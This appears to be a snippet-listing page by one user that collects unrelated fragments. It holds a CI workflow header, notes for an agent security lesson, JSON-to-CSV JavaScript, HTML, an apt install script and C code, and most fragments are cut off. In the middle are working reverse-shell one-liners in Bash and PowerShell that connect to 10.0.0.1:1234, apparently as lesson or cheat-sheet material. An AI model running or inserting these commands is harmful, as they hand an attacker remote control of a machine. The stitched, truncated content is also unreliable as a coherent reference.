nicolasleao

name: CI / Claude review

on:
  pull_request:
    types: [opened, synchronize, ready_for_review, reopened]

concurrency:
  group: ${{ github.workflow }}-${{ github.event.pull_request.number }}
  cancel-in-progress: true

nicolasleao

28 02 - Agent Security Lesson

AI Adoption, Layoffs and the new norm

By 2026, 33% of enterprise applications feature agentic AI, yet these powerful systems introduce unprecedented risks: prompt injection attacks, unauthorized data access, and unpredictable emergent behaviors.

1 human supervising dozens of AI agents is slowly becoming the new norm as they get more capable at using the computer.

Block fired nearly half their employees replacing them with AI:

nicolasleao

Bash

bash -i >& /dev/tcp/10.0.0.1/1234 0>&1 or exec 5<>/dev/tcp/10.0.0.1/1234 cat <&5 | while read line; do $line 2>&5 >&5; done

Powershell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Perl

nicolasleao

const { readFileSync, writeFileSync } = require('fs')

const csvFromJson = async () => {
    // read and parse original json file into an array in the memory
    const jsonResult = JSON.parse(readFileSync(`${__dirname}/input_file.json`, 'utf8'))
    const keys = Object.keys(jsonResult[0])
    
    // The columns will be the names of the keys of your first row, modified like this column_name > Column Name
    // original json keys need to be in snake_case for this to work.
    const columns = keys.map(key => {

nicolasleao

<div id="modal-1" class="modal">
		<div class="modal-overlay" tabindex="-1">
			<div role="dialog" class="modal-container" aria-modal="true" aria-labelledby="modal-1-title" >
				<header class="modal-header">
				<h3 id="modal-1-title">
					Selecione a localização
				</h3>
				<p id="geolocation-status"></p>

				<a href="#" class="modal-close" aria-label="Close modal" style="text-decoration: none; color: black" onclick="toggleModal('modal-1');return false"></a>

nicolasleao

#!/bin/bash

sudo apt install iw
sudo apt install wireless-tools
sudo apt install wpasupplicant
sudo apt install NetworkManager
sudo apt install firmware-iwlwifi
sudo apt install xorg
sudo apt install xserver-xorg-video-intel
sudo apt install lightdm

nicolasleao

#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>

void cima(int tam, int qtyBaixo) {
    int qty = (tam - 2) - qtyBaixo;
    
    int i, j;
    int larg = tam + 2;